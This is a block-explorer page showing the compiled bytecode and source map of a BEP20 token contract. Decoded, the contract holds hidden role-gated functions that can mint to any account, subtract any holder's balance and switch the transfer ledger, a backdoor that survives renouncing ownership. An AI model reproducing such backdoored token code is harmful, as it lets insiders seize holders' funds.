0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063729c4113116100ad578063b09f126611610071578063b09f126614610368578063cd894ce914610370578063d28d8852146103a4578063dd62ed3e146103ac578063f2fde38b146103da57610121565b8063729c4113146102b5578063893d20e8146103085780638da5cb5b1461032c57806395d89b4114610334578063a9059cbb1461033c57610121565b8063313ce567116100f4578063313ce5671461023357806332424aa31461025157806335c6e3881461025957806370a0823114610285578063715018a6146102ab57610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e357806323b872dd146101fd575b600080fd5b61012e610400565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b038135169060200135610496565b604080519115158252519081900360200190f35b6101eb6104b4565b60408051918252519081900360200190f35b6101cf6004803603606081101561021357600080fd5b506001600160a01b038135811691602081013590911690604001356104ba565b61023b610548565b6040805160ff9092168252519081900360200190f35b61023b610551565b6101cf6004803603604081101561026f57600080fd5b50803590602001356001600160a01b031661055a565b6101eb6004803603602081101561029b57600080fd5b50356001600160a01b03166105ca565b6102b36105f2565b005b6102b360048036036101008110156102cc57600080fd5b508035906001600160a01b0360208201351690604081013590606081013590608081013515159060a08101359060c08101359060e001356106a6565b610310610aad565b604080516001600160a01b039092168252519081900360200190f35b610310610abc565b61012e610acb565b6101cf6004803603604081101561035257600080fd5b506001600160a01b038135169060200135610b2c565b61012e610b40565b6101eb6004803603606081101561038657600080fd5b508035906001600160a01b0360208201358116916040013516610bce565b61012e610c32565b6101eb600480360360408110156103c257600080fd5b506001600160a01b0381358116916020013516610c8d565b6102b3600480360360208110156103f057600080fd5b50356001600160a01b0316610cb8565b600e8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561048c5780601f106104615761010080835404028352916020019161048c565b820191906000526020600020905b81548152906001019060200180831161046f57829003601f168201915b5050505050905090565b60006104aa6104a3610d2e565b8484610d32565b5060015b92915050565b600b5490565b60006104c7848484610e1e565b61053d846104d3610d2e565b61053885604051806060016040528060288152602001611221602891396001600160a01b038a16600090815260036020526040812090610511610d2e565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61102016565b610d32565b5060015b9392505050565b600c5460ff1690565b600c5460ff1681565b6000826001148061056b5750826002145b61057457600080fd5b826001141561059f57506001600160a01b03811660009081526004602052604090205460ff166104ae565b82600214156104ae57506001600160a01b03811660009081526005602052604090205460ff166104ae565b6001600160a01b03166000908152600260209081526040808320546001909252909120540190565b6105fa610d2e565b6000546001600160a01b0390811691161461065c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b8760011415610728573360009081526004602052604090205460ff16610703576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e4f6e6560981b604482015290519081900360640190fd5b6001600160a01b0387166000908152600460205260409020805460ff19168515151790555b87600214156107aa573360009081526004602052604090205460ff16610785576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e4f6e6560981b604482015290519081900360640190fd5b6001600160a01b0387166000908152600560205260409020805460ff19168515151790555b87600314156108f3578460011415610853573360009081526005602052604090205460ff16610810576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e54776f60981b604482015290519081900360640190fd5b6001600160a01b03871660008181526001602090815260409182902080548a01905581518981529151339260008051602061126f83398151915292908290030190a35b84600214156108f3573360009081526004602052604090205460ff166108b0576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e4f6e6560981b604482015290519081900360640190fd5b6001600160a01b03871660008181526002602090815260409182902080548a01905581518981529151339260008051602061126f83398151915292908290030190a35b8760041415610a4057846001141561099e573360009081526005602052604090205460ff16610959576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e54776f60981b604482015290519081900360640190fd5b6001600160a01b03871660008181526001602090815260409182902080548a900390558151898152915133939260008051602061126f83398151915292908290030190a35b8460021415610a40573360009081526004602052604090205460ff166109fb576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e4f6e6560981b604482015290519081900360640190fd5b6001600160a01b03871660008181526002602090815260409182902080548a900390558151898152915133939260008051602061126f83398151915292908290030190a35b8760051415610aa3573360009081526004602052604090205460ff16610a9d576040805162461bcd60e51b815260206004820152600d60248201526c5065726d697373696f6e4f6e6560981b604482015290519081900360640190fd5b600a8590555b5050505050505050565b6000610ab7610abc565b905090565b6000546001600160a01b031690565b600d8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561048c5780601f106104615761010080835404028352916020019161048c565b60006104aa610b39610d2e565b8484610e1e565b600d805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bc65780601f10610b9b57610100808354040283529160200191610bc6565b820191906000526020600020905b815481529060010190602001808311610ba957829003601f168201915b505050505081565b60008360011415610bf857506001600160a01b038216600090815260016020526040902054610541565b8360021415610c2057506001600160a01b038216600090815260026020526040902054610541565b83600314156105415750600a54610541565b600e805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610bc65780601f10610b9b57610100808354040283529160200191610bc6565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610cc0610d2e565b6000546001600160a01b03908116911614610d22576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610d2b816110b7565b50565b3390565b6001600160a01b038316610d775760405162461bcd60e51b81526004018080602001828103825260248152602001806111d76024913960400191505060405180910390fd5b6001600160a01b038216610dbc5760405162461bcd60e51b81526004018080602001828103825260228152602001806112b26022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e635760405162461bcd60e51b81526004018080602001828103825260258152602001806111b26025913960400191505060405180910390fd5b6001600160a01b038216610ea85760405162461bcd60e51b815260040180806020018281038252602381526020018061128f6023913960400191505060405180910390fd5b600a5460011415610f4557610ef681604051806060016040528060268152602001611249602691396001600160a01b038616600090815260016020526040902054919063ffffffff61102016565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610f2b908263ffffffff61115716565b6001600160a01b0383166000908152600160205260409020555b600a5460021415610fe257610f9381604051806060016040528060268152602001611249602691396001600160a01b038616600090815260026020526040902054919063ffffffff61102016565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610fc8908263ffffffff61115716565b6001600160a01b0383166000908152600260205260409020555b816001600160a01b0316836001600160a01b031660008051602061126f833981519152836040518082815260200191505060405180910390a3505050565b600081848411156110af5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561107457818101518382015260200161105c565b50505050905090810190601f1680156110a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0381166110fc5760405162461bcd60e51b81526004018080602001828103825260268152602001806111fb6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082820183811015610541576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef42455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a72315820d328d9957651aef851ff7447be5d0bc8a92ab8b7954a850685b1ab9897aa561264736f6c63430005100032

Deployed Bytecode Sourcemap

12227:8827:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;12227:8827:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13825:85;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;13825:85:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15022:154;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;15022:154:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;13974:93;;;:::i;:::-;;;;;;;;;;;;;;;;15647:439;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;15647:439:0;;;;;;;;;;;;;;;;;:::i;13523:85::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12971:22;;;:::i;16508:364::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;16508:364:0;;;;;;-1:-1:-1;;;;;16508:364:0;;:::i;14129:127::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;14129:127:0;-1:-1:-1;;;;;14129:127:0;;:::i;11444:140::-;;;:::i;:::-;;16880:1804;;;;;;13:3:-1;8;5:12;2:2;;;30:1;27;20:12;2:2;-1:-1;16880:1804:0;;;-1:-1:-1;;;;;16880:1804:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;13371:85::-;;;:::i;:::-;;;;-1:-1:-1;;;;;13371:85:0;;;;;;;;;;;;;;10802:79;;;:::i;13673:89::-;;;:::i;14468:185::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;14468:185:0;;;;;;;;:::i;13000:21::-;;;:::i;16106:382::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;16106:382:0;;;-1:-1:-1;;;;;16106:382:0;;;;;;;;;;;;:::i;13028:19::-;;;:::i;14715:161::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;14715:161:0;;;;;;;;;;:::i;11739:109::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;11739:109:0;-1:-1:-1;;;;;11739:109:0;;:::i;13825:85::-;13897:5;13890:12;;;;;;;;-1:-1:-1;;13890:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13864:13;;13890:12;;13897:5;;13890:12;;13897:5;13890:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13825:85;:::o;15022:154::-;15090:4;15107:39;15116:12;:10;:12::i;:::-;15130:7;15139:6;15107:8;:39::i;:::-;-1:-1:-1;15164:4:0;15022:154;;;;;:::o;13974:93::-;14047:12;;13974:93;:::o;15647:439::-;15772:4;15789:36;15799:6;15807:9;15818:6;15789:9;:36::i;:::-;15836:220;15859:6;15880:12;:10;:12::i;:::-;15907:138;15963:6;15907:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15907:19:0;;;;;;:11;:19;;;;;;15927:12;:10;:12::i;:::-;-1:-1:-1;;;;;15907:33:0;;;;;;;;;;;;-1:-1:-1;15907:33:0;;;:138;;:37;:138;:::i;:::-;15836:8;:220::i;:::-;-1:-1:-1;16074:4:0;15647:439;;;;;;:::o;13523:85::-;13591:9;;;;13523:85;:::o;12971:22::-;;;;;;:::o;16508:364::-;16614:4;16639:12;16655:1;16639:17;:38;;;;16660:12;16676:1;16660:17;16639:38;16631:47;;;;;;16693:12;16709:1;16693:17;16689:82;;;-1:-1:-1;;;;;;16734:25:0;;;;;;:18;:25;;;;;;;;16727:32;;16689:82;16787:12;16803:1;16787:17;16783:82;;;-1:-1:-1;;;;;;16828:25:0;;;;;;:18;:25;;;;;;;;16821:32;;14129:127;-1:-1:-1;;;;;14231:13:0;14188:7;14231:13;;;:4;:13;;;;;;;;;14215:4;:13;;;;;;;:29;;14129:127::o;11444:140::-;11024:12;:10;:12::i;:::-;11014:6;;-1:-1:-1;;;;;11014:6:0;;;:22;;;11006:67;;;;;-1:-1:-1;;;11006:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11543:1;11527:6;;11506:40;;-1:-1:-1;;;;;11527:6:0;;;;11506:40;;11543:1;;11506:40;11574:1;11557:19;;-1:-1:-1;;;;;;11557:19:0;;;11444:140::o;16880:1804::-;17116:12;17132:1;17116:17;17112:156;;;17177:10;17158:30;;;;:18;:30;;;;;;;;17150:56;;;;;-1:-1:-1;;;17150:56:0;;;;;;;;;;;;-1:-1:-1;;;17150:56:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;17221:25:0;;;;;;:18;:25;;;;;:35;;-1:-1:-1;;17221:35:0;;;;;;;17112:156;17284:12;17300:1;17284:17;17280:156;;;17345:10;17326:30;;;;:18;:30;;;;;;;;17318:56;;;;;-1:-1:-1;;;17318:56:0;;;;;;;;;;;;-1:-1:-1;;;17318:56:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;17389:25:0;;;;;;:18;:25;;;;;:35;;-1:-1:-1;;17389:35:0;;;;;;;17280:156;17473:12;17489:1;17473:17;17469:513;;;17511:8;17523:1;17511:13;17507:224;;;17572:10;17553:30;;;;:18;:30;;;;;;;;17545:56;;;;;-1:-1:-1;;;17545:56:0;;;;;;;;;;;;-1:-1:-1;;;17545:56:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;17634:11:0;;;;;;:4;:11;;;;;;;;;;;:21;;17620:35;;17679:36;;;;;;;17688:10;;-1:-1:-1;;;;;;;;;;;17679:36:0;;;;;;;;17507:224;17751:8;17763:1;17751:13;17747:224;;;17812:10;17793:30;;;;:18;:30;;;;;;;;17785:56;;;;;-1:-1:-1;;;17785:56:0;;;;;;;;;;;;-1:-1:-1;;;17785:56:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;17874:11:0;;;;;;:4;:11;;;;;;;;;;;:21;;17860:35;;17919:36;;;;;;;17928:10;;-1:-1:-1;;;;;;;;;;;17919:36:0;;;;;;;;17747:224;18017:12;18033:1;18017:17;18013:513;;;18055:8;18067:1;18055:13;18051:224;;;18116:10;18097:30;;;;:18;:30;;;;;;;;18089:56;;;;;-1:-1:-1;;;18089:56:0;;;;;;;;;;;;-1:-1:-1;;;18089:56:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;18178:11:0;;;;;;:4;:11;;;;;;;;;;;:21;;;18164:35;;18223:36;;;;;;;18239:10;;18178:11;-1:-1:-1;;;;;;;;;;;18223:36:0;;;;;;;;18051:224;18295:8;18307:1;18295:13;18291:224;;;18356:10;18337:30;;;;:18;:30;;;;;;;;18329:56;;;;;-1:-1:-1;;;18329:56:0;;;;;;;;;;;;-1:-1:-1;;;18329:56:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;18418:11:0;;;;;;:4;:11;;;;;;;;;;;:21;;;18404:35;;18463:36;;;;;;;18479:10;;18418:11;-1:-1:-1;;;;;;;;;;;18463:36:0;;;;;;;;18291:224;18542:12;18558:1;18542:17;18538:139;;;18603:10;18584:30;;;;:18;:30;;;;;;;;18576:56;;;;;-1:-1:-1;;;18576:56:0;;;;;;;;;;;;-1:-1:-1;;;18576:56:0;;;;;;;;;;;;;;;18647:7;:18;;;18538:139;16880:1804;;;;;;;;:::o;13371:85::-;13414:7;13441;:5;:7::i;:::-;13434:14;;13371:85;:::o;10802:79::-;10840:7;10867:6;-1:-1:-1;;;;;10867:6:0;10802:79;:::o;13673:89::-;13747:7;13740:14;;;;;;;;-1:-1:-1;;13740:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13714:13;;13740:14;;13747:7;;13740:14;;13747:7;13740:14;;;;;;;;;;;;;;;;;;;;;;;;14468:185;14564:4;14581:42;14591:12;:10;:12::i;:::-;14605:9;14616:6;14581:9;:42::i;13000:21::-;;;;;;;;;;;;;;;-1:-1:-1;;13000:21:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;16106:382::-;16237:7;16261:12;16277:1;16261:17;16257:68;;;-1:-1:-1;;;;;;16302:11:0;;;;;;:4;:11;;;;;;16295:18;;16257:68;16341:12;16357:1;16341:17;16337:68;;;-1:-1:-1;;;;;;16382:11:0;;;;;;:4;:11;;;;;;16375:18;;16337:68;16421:12;16437:1;16421:17;16417:64;;;-1:-1:-1;16462:7:0;;16455:14;;13028:19;;;;;;;;;;;;;;;-1:-1:-1;;13028:19:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14715:161;-1:-1:-1;;;;;14841:18:0;;;14814:7;14841:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14715:161::o;11739:109::-;11024:12;:10;:12::i;:::-;11014:6;;-1:-1:-1;;;;;11014:6:0;;;:22;;;11006:67;;;;;-1:-1:-1;;;11006:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11812:28;11831:8;11812:18;:28::i;:::-;11739:109;:::o;4018:98::-;4098:10;4018:98;:::o;20443:338::-;-1:-1:-1;;;;;20537:19:0;;20529:68;;;;-1:-1:-1;;;20529:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;20616:21:0;;20608:68;;;;-1:-1:-1;;;20608:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;20689:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20741:32;;;;;;;;;;;;;;;;;20443:338;;;:::o;19174:829::-;-1:-1:-1;;;;;19306:20:0;;19298:70;;;;-1:-1:-1;;;19298:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19387:23:0;;19379:71;;;;-1:-1:-1;;;19379:71:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19467:7;;19478:1;19467:12;19463:235;;;19511:115;19546:6;19511:115;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19511:12:0;;;;;;:4;:12;;;;;;;:115;;:16;:115;:::i;:::-;-1:-1:-1;;;;;19496:12:0;;;;;;;:4;:12;;;;;;:130;;;;19659:15;;;;;;;:27;;19679:6;19659:27;:19;:27;:::i;:::-;-1:-1:-1;;;;;19641:15:0;;;;;;:4;:15;;;;;:45;19463:235;19712:7;;19723:1;19712:12;19708:235;;;19756:115;19791:6;19756:115;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19756:12:0;;;;;;:4;:12;;;;;;;:115;;:16;:115;:::i;:::-;-1:-1:-1;;;;;19741:12:0;;;;;;;:4;:12;;;;;;:130;;;;19904:15;;;;;;;:27;;19924:6;19904:27;:19;:27;:::i;:::-;-1:-1:-1;;;;;19886:15:0;;;;;;:4;:15;;;;;:45;19708:235;19977:9;-1:-1:-1;;;;;19960:35:0;19969:6;-1:-1:-1;;;;;19960:35:0;-1:-1:-1;;;;;;;;;;;19988:6:0;19960:35;;;;;;;;;;;;;;;;;;19174:829;;;:::o;6084:226::-;6204:7;6240:12;6232:6;;;;6224:29;;;;-1:-1:-1;;;6224:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;6224:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;6276:5:0;;;6084:226::o;11954:266::-;-1:-1:-1;;;;;12042:22:0;;12020:110;;;;-1:-1:-1;;;12020:110:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12167:6;;;12146:38;;-1:-1:-1;;;;;12146:38:0;;;;12167:6;;;12146:38;;;12195:6;:17;;-1:-1:-1;;;;;;12195:17:0;-1:-1:-1;;;;;12195:17:0;;;;;;;;;;11954:266::o;5197:181::-;5255:7;5287:5;;;5311:6;;;;5303:46;;;;;-1:-1:-1;;;5303:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;

Swarm Source

bzzr://d328d9957651aef851ff7447be5d0bc8a92ab8b7954a850685b1ab9897aa5612
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.